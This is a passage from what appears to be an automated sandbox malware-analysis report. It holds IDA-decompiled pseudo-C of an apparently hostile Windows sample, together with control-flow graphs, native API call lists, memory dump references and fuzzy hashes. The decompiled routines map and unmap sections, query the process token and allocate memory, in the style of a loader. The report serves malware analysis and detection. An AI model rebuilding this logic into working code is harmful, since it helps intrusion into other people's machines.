                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(1);
                                                                                                                                                                                                                                                                                                      								_push( &_v36);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push(_v16);
                                                                                                                                                                                                                                                                                                      								_push(0);
                                                                                                                                                                                                                                                                                                      								_push( &_v20);
                                                                                                                                                                                                                                                                                                      								_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      								_push(_v32);
                                                                                                                                                                                                                                                                                                      								if( *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0xdc))))() >= 0) {
                                                                                                                                                                                                                                                                                                      									_push(_v16);
                                                                                                                                                                                                                                                                                                      									_push(_v8);
                                                                                                                                                                                                                                                                                                      									_push(_v20);
                                                                                                                                                                                                                                                                                                      									 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x30))))();
                                                                                                                                                                                                                                                                                                      									_v28 = 0;
                                                                                                                                                                                                                                                                                                      									_push(0x40);
                                                                                                                                                                                                                                                                                                      									_push(0);
                                                                                                                                                                                                                                                                                                      									_push(1);
                                                                                                                                                                                                                                                                                                      									_push( &_v36);
                                                                                                                                                                                                                                                                                                      									_push(0);
                                                                                                                                                                                                                                                                                                      									_push(_v16);
                                                                                                                                                                                                                                                                                                      									_push(0);
                                                                                                                                                                                                                                                                                                      									_push( &_v28);
                                                                                                                                                                                                                                                                                                      									_push(_a4);
                                                                                                                                                                                                                                                                                                      									_push(_v32);
                                                                                                                                                                                                                                                                                                      									if( *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0xdc))))() >= 0) {
                                                                                                                                                                                                                                                                                                      										_v40 =  *((intOrPtr*)(_v12 + 0xa0));
                                                                                                                                                                                                                                                                                                      										_v48 =  *((intOrPtr*)(_v12 + 0xa4));
                                                                                                                                                                                                                                                                                                      										if(_v40 != 0 && _v48 != 0) {
                                                                                                                                                                                                                                                                                                      											E004085E0(_v20, _v28 - _v8, _v12, _v8 + _v40);
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										if(_a12 != 0) {
                                                                                                                                                                                                                                                                                                      											_v24 = _a12 - _v8 + _v28;
                                                                                                                                                                                                                                                                                                      										} else {
                                                                                                                                                                                                                                                                                                      											_v24 =  *((intOrPtr*)(_v12 + 0x28)) + _v28;
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										if(_v24 == 0xffffffff) {
                                                                                                                                                                                                                                                                                                      											_push(_v20);
                                                                                                                                                                                                                                                                                                      											_push(_a4);
                                                                                                                                                                                                                                                                                                      											 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0xe0))))();
                                                                                                                                                                                                                                                                                                      										}
                                                                                                                                                                                                                                                                                                      										E004016E0();
                                                                                                                                                                                                                                                                                                      										NtUnmapViewOfSection(0xffffffff, _v20); // executed
                                                                                                                                                                                                                                                                                                      									}
                                                                                                                                                                                                                                                                                                      								}
                                                                                                                                                                                                                                                                                                      								_push(_v32);
                                                                                                                                                                                                                                                                                                      								 *((intOrPtr*)( *((intOrPtr*)(E004016E0()))))();
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v24;
                                                                                                                                                                                                                                                                                                      			}
















                                                                                                                                                                                                                                                                                                      0x0040a316
                                                                                                                                                                                                                                                                                                      0x0040a321
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x0040a323
                                                                                                                                                                                                                                                                                                      0x0040a32e
                                                                                                                                                                                                                                                                                                      0x0040a335
                                                                                                                                                                                                                                                                                                      0x0040a33c
                                                                                                                                                                                                                                                                                                      0x0040a33c
                                                                                                                                                                                                                                                                                                      0x0040a343
                                                                                                                                                                                                                                                                                                      0x0040a355
                                                                                                                                                                                                                                                                                                      0x0040a35c
                                                                                                                                                                                                                                                                                                      0x0040a368
                                                                                                                                                                                                                                                                                                      0x0040a36f
                                                                                                                                                                                                                                                                                                      0x0040a375
                                                                                                                                                                                                                                                                                                      0x0040a381
                                                                                                                                                                                                                                                                                                      0x0040a384
                                                                                                                                                                                                                                                                                                      0x0040a387
                                                                                                                                                                                                                                                                                                      0x0040a389
                                                                                                                                                                                                                                                                                                      0x0040a38e
                                                                                                                                                                                                                                                                                                      0x0040a393
                                                                                                                                                                                                                                                                                                      0x0040a394
                                                                                                                                                                                                                                                                                                      0x0040a396
                                                                                                                                                                                                                                                                                                      0x0040a39e
                                                                                                                                                                                                                                                                                                      0x0040a3ac
                                                                                                                                                                                                                                                                                                      0x0040a3b3
                                                                                                                                                                                                                                                                                                      0x0040a3b9
                                                                                                                                                                                                                                                                                                      0x0040a3c0
                                                                                                                                                                                                                                                                                                      0x0040a3c7
                                                                                                                                                                                                                                                                                                      0x0040a3c9
                                                                                                                                                                                                                                                                                                      0x0040a3cb
                                                                                                                                                                                                                                                                                                      0x0040a3d0
                                                                                                                                                                                                                                                                                                      0x0040a3d1
                                                                                                                                                                                                                                                                                                      0x0040a3d6
                                                                                                                                                                                                                                                                                                      0x0040a3d7
                                                                                                                                                                                                                                                                                                      0x0040a3dc
                                                                                                                                                                                                                                                                                                      0x0040a3dd
                                                                                                                                                                                                                                                                                                      0x0040a3e2
                                                                                                                                                                                                                                                                                                      0x0040a3f2
                                                                                                                                                                                                                                                                                                      0x0040a3fb
                                                                                                                                                                                                                                                                                                      0x0040a3ff
                                                                                                                                                                                                                                                                                                      0x0040a403
                                                                                                                                                                                                                                                                                                      0x0040a40c
                                                                                                                                                                                                                                                                                                      0x0040a40e
                                                                                                                                                                                                                                                                                                      0x0040a415
                                                                                                                                                                                                                                                                                                      0x0040a417
                                                                                                                                                                                                                                                                                                      0x0040a419
                                                                                                                                                                                                                                                                                                      0x0040a41e
                                                                                                                                                                                                                                                                                                      0x0040a41f
                                                                                                                                                                                                                                                                                                      0x0040a424
                                                                                                                                                                                                                                                                                                      0x0040a425
                                                                                                                                                                                                                                                                                                      0x0040a42a
                                                                                                                                                                                                                                                                                                      0x0040a42e
                                                                                                                                                                                                                                                                                                      0x0040a432
                                                                                                                                                                                                                                                                                                      0x0040a442
                                                                                                                                                                                                                                                                                                      0x0040a457
                                                                                                                                                                                                                                                                                                      0x0040a469
                                                                                                                                                                                                                                                                                                      0x0040a470
                                                                                                                                                                                                                                                                                                      0x0040a48e
                                                                                                                                                                                                                                                                                                      0x0040a493
                                                                                                                                                                                                                                                                                                      0x0040a49a
                                                                                                                                                                                                                                                                                                      0x0040a4b3
                                                                                                                                                                                                                                                                                                      0x0040a49c
                                                                                                                                                                                                                                                                                                      0x0040a4a5
                                                                                                                                                                                                                                                                                                      0x0040a4a5
                                                                                                                                                                                                                                                                                                      0x0040a4ba
                                                                                                                                                                                                                                                                                                      0x0040a4bf
                                                                                                                                                                                                                                                                                                      0x0040a4c3
                                                                                                                                                                                                                                                                                                      0x0040a4cf
                                                                                                                                                                                                                                                                                                      0x0040a4cf
                                                                                                                                                                                                                                                                                                      0x0040a4d7
                                                                                                                                                                                                                                                                                                      0x0040a4e2
                                                                                                                                                                                                                                                                                                      0x0040a4e2
                                                                                                                                                                                                                                                                                                      0x0040a442
                                                                                                                                                                                                                                                                                                      0x0040a4e7
                                                                                                                                                                                                                                                                                                      0x0040a4ef
                                                                                                                                                                                                                                                                                                      0x0040a4ef
                                                                                                                                                                                                                                                                                                      0x0040a3b3
                                                                                                                                                                                                                                                                                                      0x0040a36f
                                                                                                                                                                                                                                                                                                      0x0040a35c
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                      • Opcode ID: ceb4ed4dc2aa335b3bdc5175f6792e6522fa7d9bbbaa247ae0f05c0ae065f17b
                                                                                                                                                                                                                                                                                                      • Instruction ID: 800fee7a0019dd85c2c035d4697b36f93ecd38c90b419634fefc7a65d8b58357
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ceb4ed4dc2aa335b3bdc5175f6792e6522fa7d9bbbaa247ae0f05c0ae065f17b
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 53612C74A00209EFDB14DF98CC85FAEB7B5BF48314F148669E614BB2D0D778AA40CB55
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 807 409240-409259 call 40d560 810 4092c6-409311 call 4016e0 807->810 811 40925b-409270 call 4097f0 807->811 820 40934c-409352 810->820 821 409313-409333 call 4016e0 810->821 816 4092c1 811->816 817 409272-4092ac call 4016e0 * 2 NtQueryInformationToken 811->817 816->820 831 4092b4-4092bd call 4016e0 817->831 832 4092ae-4092b1 817->832 829 409335-409338 821->829 830 40933b-409344 call 4016e0 821->830 829->830 830->820 831->816 832->831
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 36%
                                                                                                                                                                                                                                                                                                      			E00409240() {
                                                                                                                                                                                                                                                                                                      				intOrPtr _v8;
                                                                                                                                                                                                                                                                                                      				char _v12;
                                                                                                                                                                                                                                                                                                      				char _v16;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				char _v28;
                                                                                                                                                                                                                                                                                                      				char _v31;
                                                                                                                                                                                                                                                                                                      				char _v32;
                                                                                                                                                                                                                                                                                                      				char _v33;
                                                                                                                                                                                                                                                                                                      				char _v34;
                                                                                                                                                                                                                                                                                                      				char _v35;
                                                                                                                                                                                                                                                                                                      				char _v36;
                                                                                                                                                                                                                                                                                                      				void* _t53;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v16 = 0;
                                                                                                                                                                                                                                                                                                      				if( *((intOrPtr*)(E0040D560() + 0xa4)) <= 5) {
                                                                                                                                                                                                                                                                                                      					_v36 = 0;
                                                                                                                                                                                                                                                                                                      					_v35 = 0;
                                                                                                                                                                                                                                                                                                      					_v34 = 0;
                                                                                                                                                                                                                                                                                                      					_v33 = 0;
                                                                                                                                                                                                                                                                                                      					_v32 = 0;
                                                                                                                                                                                                                                                                                                      					_v31 = 5;
                                                                                                                                                                                                                                                                                                      					_v12 = 0;
                                                                                                                                                                                                                                                                                                      					_push( &_v12);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0x220);
                                                                                                                                                                                                                                                                                                      					_push(0x20);
                                                                                                                                                                                                                                                                                                      					_push(2);
                                                                                                                                                                                                                                                                                                      					_push( &_v36);
                                                                                                                                                                                                                                                                                                      					if( *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x230))))() != 0) {
                                                                                                                                                                                                                                                                                                      						_v28 = 0;
                                                                                                                                                                                                                                                                                                      						_push( &_v28);
                                                                                                                                                                                                                                                                                                      						_push(_v12);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						if( *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x234))))() != 0) {
                                                                                                                                                                                                                                                                                                      							_v16 = _v28;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v12);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x238))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				} else {
                                                                                                                                                                                                                                                                                                      					_v8 = E004097F0(0, 0xffffffff, 8);
                                                                                                                                                                                                                                                                                                      					if(_v8 != 0) {
                                                                                                                                                                                                                                                                                                      						_push(4);
                                                                                                                                                                                                                                                                                                      						_push(0);
                                                                                                                                                                                                                                                                                                      						_push( &_v24);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      						_v20 = 4;
                                                                                                                                                                                                                                                                                                      						_push( &_v20);
                                                                                                                                                                                                                                                                                                      						_push(_v20);
                                                                                                                                                                                                                                                                                                      						_push( &_v24);
                                                                                                                                                                                                                                                                                                      						_push(0x14);
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						_t53 =  *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0xb4))))(); // executed
                                                                                                                                                                                                                                                                                                      						if(_t53 >= 0) {
                                                                                                                                                                                                                                                                                                      							_v16 = _v24;
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_push(_v8);
                                                                                                                                                                                                                                                                                                      						 *((intOrPtr*)( *((intOrPtr*)(E004016E0()))))();
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v16;
                                                                                                                                                                                                                                                                                                      			}
















                                                                                                                                                                                                                                                                                                      0x00409246
                                                                                                                                                                                                                                                                                                      0x00409259
                                                                                                                                                                                                                                                                                                      0x004092c6
                                                                                                                                                                                                                                                                                                      0x004092ca
                                                                                                                                                                                                                                                                                                      0x004092ce
                                                                                                                                                                                                                                                                                                      0x004092d2
                                                                                                                                                                                                                                                                                                      0x004092d6
                                                                                                                                                                                                                                                                                                      0x004092da
                                                                                                                                                                                                                                                                                                      0x004092de
                                                                                                                                                                                                                                                                                                      0x004092e8
                                                                                                                                                                                                                                                                                                      0x004092e9
                                                                                                                                                                                                                                                                                                      0x004092eb
                                                                                                                                                                                                                                                                                                      0x004092ed
                                                                                                                                                                                                                                                                                                      0x004092ef
                                                                                                                                                                                                                                                                                                      0x004092f1
                                                                                                                                                                                                                                                                                                      0x004092f3
                                                                                                                                                                                                                                                                                                      0x004092f5
                                                                                                                                                                                                                                                                                                      0x004092fa
                                                                                                                                                                                                                                                                                                      0x004092fc
                                                                                                                                                                                                                                                                                                      0x00409301
                                                                                                                                                                                                                                                                                                      0x00409311
                                                                                                                                                                                                                                                                                                      0x00409313
                                                                                                                                                                                                                                                                                                      0x0040931d
                                                                                                                                                                                                                                                                                                      0x00409321
                                                                                                                                                                                                                                                                                                      0x00409322
                                                                                                                                                                                                                                                                                                      0x00409333
                                                                                                                                                                                                                                                                                                      0x00409338
                                                                                                                                                                                                                                                                                                      0x00409338
                                                                                                                                                                                                                                                                                                      0x0040933e
                                                                                                                                                                                                                                                                                                      0x0040934a
                                                                                                                                                                                                                                                                                                      0x0040934a
                                                                                                                                                                                                                                                                                                      0x0040925b
                                                                                                                                                                                                                                                                                                      0x00409269
                                                                                                                                                                                                                                                                                                      0x00409270
                                                                                                                                                                                                                                                                                                      0x00409272
                                                                                                                                                                                                                                                                                                      0x00409274
                                                                                                                                                                                                                                                                                                      0x00409279
                                                                                                                                                                                                                                                                                                      0x00409282
                                                                                                                                                                                                                                                                                                      0x00409284
                                                                                                                                                                                                                                                                                                      0x0040928e
                                                                                                                                                                                                                                                                                                      0x00409292
                                                                                                                                                                                                                                                                                                      0x00409296
                                                                                                                                                                                                                                                                                                      0x00409297
                                                                                                                                                                                                                                                                                                      0x0040929c
                                                                                                                                                                                                                                                                                                      0x004092a8
                                                                                                                                                                                                                                                                                                      0x004092ac
                                                                                                                                                                                                                                                                                                      0x004092b1
                                                                                                                                                                                                                                                                                                      0x004092b1
                                                                                                                                                                                                                                                                                                      0x004092b7
                                                                                                                                                                                                                                                                                                      0x004092bf
                                                                                                                                                                                                                                                                                                      0x004092bf
                                                                                                                                                                                                                                                                                                      0x004092c1
                                                                                                                                                                                                                                                                                                      0x00409352

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtQueryInformationToken.NTDLL(00000000,00000014,?,00000004,00000004), ref: 004092A8
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: InformationQueryToken
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 4239771691-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 157c8496c6e0909ae93ea8f7d6c53eca8db39aca8106fafc418387fb7c8b1699
                                                                                                                                                                                                                                                                                                      • Instruction ID: f246d808bbdb14f5ea00118078163ada4da93256685c291f9a119e2abbc2b0eb
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 157c8496c6e0909ae93ea8f7d6c53eca8db39aca8106fafc418387fb7c8b1699
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 07312370A04209ABDB00DBE5CC85FEF77B4AF44744F1445A9F114BB2D2DBB89A04CBA5
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 837 413c10-413c22 call 4016f0 840 413cd2 837->840 841 413c28-413c2f call 4041c0 837->841 842 413cd4-413cd7 840->842 845 413c31-413c33 841->845 846 413c38-413c44 call 404180 841->846 845->842 849 413cc4-413cd0 call 4016e0 NtTerminateProcess 846->849 850 413c46-413c5d call 407fd0 846->850 849->840 850->849 855 413c5f-413c9d call 4016e0 call 40d550 call 40a670 850->855 863 413cb8-413cbc call 407700 855->863 864 413c9f-413cb5 call 40a760 855->864 868 413cc1 863->868 864->863 868->849
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 85%
                                                                                                                                                                                                                                                                                                      			_entry_(void* __eflags) {
                                                                                                                                                                                                                                                                                                      				char _v8;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v12;
                                                                                                                                                                                                                                                                                                      				void* _t10;
                                                                                                                                                                                                                                                                                                      				void* _t12;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t13;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t17;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t22;
                                                                                                                                                                                                                                                                                                      				void* _t30;
                                                                                                                                                                                                                                                                                                      				void* _t31;
                                                                                                                                                                                                                                                                                                      				void* _t32;
                                                                                                                                                                                                                                                                                                      				void* _t33;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_t10 = E004016F0(__eflags, 0); // executed
                                                                                                                                                                                                                                                                                                      				_t31 = _t30 + 4;
                                                                                                                                                                                                                                                                                                      				if(_t10 == 0) {
                                                                                                                                                                                                                                                                                                      					L9:
                                                                                                                                                                                                                                                                                                      					__eflags = 0;
                                                                                                                                                                                                                                                                                                      					return 0;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				_t12 = E004041C0(); // executed
                                                                                                                                                                                                                                                                                                      				if(_t12 != 0) {
                                                                                                                                                                                                                                                                                                      					_t13 = E00404180(); // executed
                                                                                                                                                                                                                                                                                                      					_v12 = _t13;
                                                                                                                                                                                                                                                                                                      					__eflags = _v12;
                                                                                                                                                                                                                                                                                                      					if(_v12 == 0) {
                                                                                                                                                                                                                                                                                                      						_v8 = 0;
                                                                                                                                                                                                                                                                                                      						_t17 = E00407FD0(0,  &_v8); // executed
                                                                                                                                                                                                                                                                                                      						_t32 = _t31 + 8;
                                                                                                                                                                                                                                                                                                      						__eflags = _t17;
                                                                                                                                                                                                                                                                                                      						if(_t17 != 0) {
                                                                                                                                                                                                                                                                                                      							_push(_v8);
                                                                                                                                                                                                                                                                                                      							_push(0x4301b8);
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x12c))))();
                                                                                                                                                                                                                                                                                                      							 *0x4303c0 =  *((intOrPtr*)(E0040D550() + 0x20));
                                                                                                                                                                                                                                                                                                      							 *0x4303c4 = 0;
                                                                                                                                                                                                                                                                                                      							_t22 = E0040A670(E00413BC0, 0); // executed
                                                                                                                                                                                                                                                                                                      							_t33 = _t32 + 8;
                                                                                                                                                                                                                                                                                                      							__eflags = _t22;
                                                                                                                                                                                                                                                                                                      							if(_t22 == 0) {
                                                                                                                                                                                                                                                                                                      								 *0x4303c4 = 1;
                                                                                                                                                                                                                                                                                                      								E0040A760(E00413AE0, 0);
                                                                                                                                                                                                                                                                                                      								_t33 = _t33 + 8;
                                                                                                                                                                                                                                                                                                      							}
                                                                                                                                                                                                                                                                                                      							E00407700(_v8, _v8); // executed
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E004016E0() + 0x60))))(); // executed
                                                                                                                                                                                                                                                                                                      					goto L9;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return 0;
                                                                                                                                                                                                                                                                                                      			}














                                                                                                                                                                                                                                                                                                      0x00413c18
                                                                                                                                                                                                                                                                                                      0x00413c1d
                                                                                                                                                                                                                                                                                                      0x00413c22
                                                                                                                                                                                                                                                                                                      0x00413cd2
                                                                                                                                                                                                                                                                                                      0x00413cd2
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00413cd2
                                                                                                                                                                                                                                                                                                      0x00413c28
                                                                                                                                                                                                                                                                                                      0x00413c2f
                                                                                                                                                                                                                                                                                                      0x00413c38
                                                                                                                                                                                                                                                                                                      0x00413c3d
                                                                                                                                                                                                                                                                                                      0x00413c40
                                                                                                                                                                                                                                                                                                      0x00413c44
                                                                                                                                                                                                                                                                                                      0x00413c46
                                                                                                                                                                                                                                                                                                      0x00413c53
                                                                                                                                                                                                                                                                                                      0x00413c58
                                                                                                                                                                                                                                                                                                      0x00413c5b
                                                                                                                                                                                                                                                                                                      0x00413c5d
                                                                                                                                                                                                                                                                                                      0x00413c62
                                                                                                                                                                                                                                                                                                      0x00413c63
                                                                                                                                                                                                                                                                                                      0x00413c73
                                                                                                                                                                                                                                                                                                      0x00413c7d
                                                                                                                                                                                                                                                                                                      0x00413c82
                                                                                                                                                                                                                                                                                                      0x00413c93
                                                                                                                                                                                                                                                                                                      0x00413c98
                                                                                                                                                                                                                                                                                                      0x00413c9b
                                                                                                                                                                                                                                                                                                      0x00413c9d
                                                                                                                                                                                                                                                                                                      0x00413c9f
                                                                                                                                                                                                                                                                                                      0x00413cb0
                                                                                                                                                                                                                                                                                                      0x00413cb5
                                                                                                                                                                                                                                                                                                      0x00413cb5
                                                                                                                                                                                                                                                                                                      0x00413cbc
                                                                                                                                                                                                                                                                                                      0x00413cc1
                                                                                                                                                                                                                                                                                                      0x00413c5d
                                                                                                                                                                                                                                                                                                      0x00413cc4
                                                                                                                                                                                                                                                                                                      0x00413cc6
                                                                                                                                                                                                                                                                                                      0x00413cd0
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x00413cd0
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                        • Part of subcall function 004016F0: NtAllocateVirtualMemory.NTDLL(000000FF,0042FC04,00000000,00000310,00003000,00000004), ref: 0040175A
                                                                                                                                                                                                                                                                                                      • NtTerminateProcess.NTDLL(000000FF,00000000), ref: 00413CD0
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_yx8DBT3r5r.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocateMemoryProcessTerminateVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2292769835-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 4ecf757cdb516dda112b51cff9195cab72fdaf13fa96437336db777c17f2f1fd
                                                                                                                                                                                                                                                                                                      • Instruction ID: 3a2302aa5f10bd6a83967dcb4b0eec17903c208f88c7ebbcb6ac7d035081c956
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4ecf757cdb516dda112b51cff9195cab72fdaf13fa96437336db777c17f2f1fd
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: DE11EB71A00204ABD710FFB19D02B9E76645B00349F14417AFD00B62C2FA79A654C3EA
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 869 407410-407442 call 4016e0 NtAllocateVirtualMemory 872 407452-407458 869->872 873 407444-407448 869->873 873->872 874 40744a-407450 873->874 874->872
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E00407410(void* _a4, long _a8, long _a12, long _a16, intOrPtr* _a20) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				long _t18;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = _a4;
                                                                                                                                                                                                                                                                                                      				_v8 = _a8;
                                                                                                                                                                                                                                                                                                      				E004016E0();
                                                                                                                                                                                                                                                                                                      				_t18 = NtAllocateVirtualMemory(0xffffffff,  &_v12, 0,  &_v8, _a12, _a16); // executed
                                                                                                                                                                                                                                                                                                      				if(_t18 >= 0 && _a20 != 0) {
                                                                                                                                                                                                                                                                                                      					 *_a20 = _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v12;
                                                                                                                                                                                                                                                                                                      			}






                                                                                                                                                                                                                                                                                                      0x00407419
                                                                                                                                                                                                                                                                                                      0x0040741f
                                                                                                                                                                                                                                                                                                      0x00407436
                                                                                                                                                                                                                                                                                                      0x0040743e
                                                                                                                                                                                                                                                                                                      0x00407442
                                                                                                                                                                                                                                                                                                      0x00407450
                                                                                                                                                                                                                                                                                                      0x00407450
                                                                                                                                                                                                                                                                                                      0x00407458

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(000000FF,00000004,00000000,00000000,?,?,00000004,00000000), ref: 0040743E
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.233301539.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233297321.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233314377.0000000000415000.00000004.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.233328806.0000000000431000.00000002.00020000.sdmp Download File
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
